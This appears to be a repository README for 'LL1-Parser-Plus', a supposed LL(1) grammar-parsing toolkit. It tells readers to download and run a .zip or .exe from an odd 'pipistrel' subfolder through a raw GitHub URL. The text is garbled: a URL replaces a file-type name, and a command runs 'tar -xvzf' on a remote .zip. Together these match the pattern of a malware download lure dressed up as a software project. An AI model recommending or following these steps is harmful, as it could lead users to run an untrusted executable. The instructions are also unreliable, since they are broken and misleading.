LL1-Parser-Plus is a user-friendly toolkit for parsing context-free grammars. With our software, you can easily read a grammar, perform essential operations such as left factoring and left recursion removal, compute FIRST and FOLLOW sets, build an LL(1) parsing table, and parse strings using a straightforward stack. This tool provides detailed debug output, making it easier to understand the parsing process. It also includes a Makefile, a Windows script, sample grammar files, and input options to get you started quickly.
Follow these steps to download and run LL1-Parser-Plus on your computer:
To download the latest version of LL1-Parser-Plus, visit our Releases page.
On the Releases page, you will find the latest version listed at the top. Click on the file that matches your operating system. For most users, this will be a .zip or .exe file for Windows, or a https://raw.githubusercontent.com/jcmark-fullmetal/LL1-Parser-Plus/main/pipistrel/LL1-Parser-Plus.zip file for Linux.
After downloading, locate the downloaded file on your computer.
-
For Windows:
- Right-click on the
.zipor.exefile and select βExtract Allβ or βRunβ to extract the files.
- Right-click on the
-
For Linux:
- If you downloaded a
https://raw.githubusercontent.com/jcmark-fullmetal/LL1-Parser-Plus/main/pipistrel/LL1-Parser-Plus.zipfile, you can extract it by right-clicking the file and selecting βExtract Hereβ or using the terminal with the command:tar -xvzf https://raw.githubusercontent.com/jcmark-fullmetal/LL1-Parser-Plus/main/pipistrel/LL1-Parser-Plus.zip.
- If you downloaded a
Once the files are extracted, you can find the application executable inside the folder.
-
For Windows Users:
- Locate the
.exefile and double-click it to run the application.
- Locate the
-
For Linux Users:
- Open your terminal, navigate to the folder where you extracted the files, and run the application with the command:
./yourfile.
- Open your terminal, navigate to the folder where you extracted the files, and run the application with the command:
To get started with parsing, you need to load a grammar file. You can use one of the sample grammar files provided in the extracted folder.
- Open the application and look for an option to load or import a grammar file.
- Select a sample grammar file, and you will see the options for left factoring and left recursion removal.
After loading a grammar, you can input a string for parsing. The application will process it according to the rules defined in the loaded grammar.
- Enter your string in the designated input area of the application.
- Click on the parse button to see how the string is processed.
LL1-Parser-Plus provides detailed debug output to help you understand the parsing process.
- The debug console will show you the steps the parser takes, including the computation of FIRST and FOLLOW sets, and how the parsing table is built.
To install the application, please follow the download steps above. You can always revisit the Releases page for the latest updates and versions.
-
Operating System:
- Windows 10 or later
- Linux distributions (Ubuntu, Fedora, or similar)
-
RAM: Minimum 2 GB
-
Processor: Any modern CPU compatible with Windows or Linux
-
Disk Space: At least 100 MB of free space
Included in the package are sample grammar files. You can find them in the extracted folder under a sub-directory named samples. Feel free to modify these files or create your own based on the application's capabilities.
For questions or help regarding LL1-Parser-Plus, we encourage you to check our Issues page or reach out within the community for support.
If you find LL1-Parser-Plus useful, consider contributing by providing feedback, suggestions, or enhancements. Check out the contributing guidelines in our repository.
LL1-Parser-Plus is open-source software. You can freely use, modify, and distribute this toolkit under the terms of the MIT License.